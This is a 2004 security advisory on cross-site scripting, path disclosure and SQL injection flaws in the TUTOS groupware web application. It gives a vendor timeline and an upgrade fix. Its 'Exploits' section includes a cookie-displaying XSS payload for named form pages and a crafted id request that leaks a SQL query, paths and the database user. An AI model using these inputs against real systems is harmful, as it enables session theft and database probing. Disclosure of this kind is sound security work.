[UNIX] Multiple Vulnerabilities in Tutos (Cross Site Scripting, Path Disclosure, SQL Injection)

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Date: 04/14/04

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      Multiple Vulnerabilities in Tutos (Cross Site Scripting, Path Disclosure,
    SQL Injection)
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    SUMMARY

     <http://www.tutos.org> TUTOS is "a tool to manage the organizational
    needs of small groups, teams, departments, to do this it provides some
    web-based tools". The product has been found to contain multiple
    vulnerabilities.

    DETAILS

    Cross Site Scripting:
    Multiple exploitable pages were found in Tutos that cause script execution
    on client's computer by following a crafted URL. An attacker can input
    specially crafted links and/or other malicious scripts.

    Path Disclosure:
    These vulnerabilities would allow a remote user to determine the full path
    to the web root directory and other potentially sensitive information. A
    remote user submitting a specially crafted HTTP request can trigger this
    vulnerability.

    Exploits:
    Cross Site Scripting:
    In many Tutos forms for create new items like :
     - http://[tutos]/php/company_new.php
     - http://[tutos]/php/app_new.php
     - http://[tutos]/php/task_new.php
     - http://[tutos]/php/[xxxx]_new.php

    The hostile code could be:
    [script]alert("Cookie="+document.cookie)[/script]

    (Open a window with the cookie of the visitor)

    (Replace [] by <>)

    Path Disclosure / SQL Injection:
    The affected page is note_overview.php :
    http://[tutos]/php/note/note_overview.php?id=1;

    The navigator display:

    Detail :
    SELECT DISTINCT n.* FROM notes n WHERE n.id = 1; ORDER by
    creation DESC

    TUTOS Version: 1.1.20030715
    PHP Version: "xxx"
    PHP Config: "xxx"
    APACHE Version: "xxx"
    Browser: "xxx"
    DB User : tutos
    DB Alias : TUTOS database
    URL: /tutos/php/note/note_overview.php
    Request: /tutos/php/note/note_overview.php?id=1;
    Called by: "xxx"
    .. (and the directory structure)

    Solution:
    Upgrade your Tutos version to 1.1.20040412.

    Workaround:
    Cross Site Scripting:
    Use the function php eregi_replace to filter the input data.

    Vendor status:
    2004-01-13 Vulnerability discovered
    2004-01-13 The vendor has reportedly been notified
    2004-01-16 First response - Working on the security fixes
    2004-04-12 Bugfix update (version 1.1.20040412)
    2004-04-13 Public disclosure

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:francois.sorin@kereval.com>
    Fran?ois SORIN.

    The original article can be found at:
    <http://www.kereval.com/a,20040413100957.html>
    http://www.kereval.com/a,20040413100957.html

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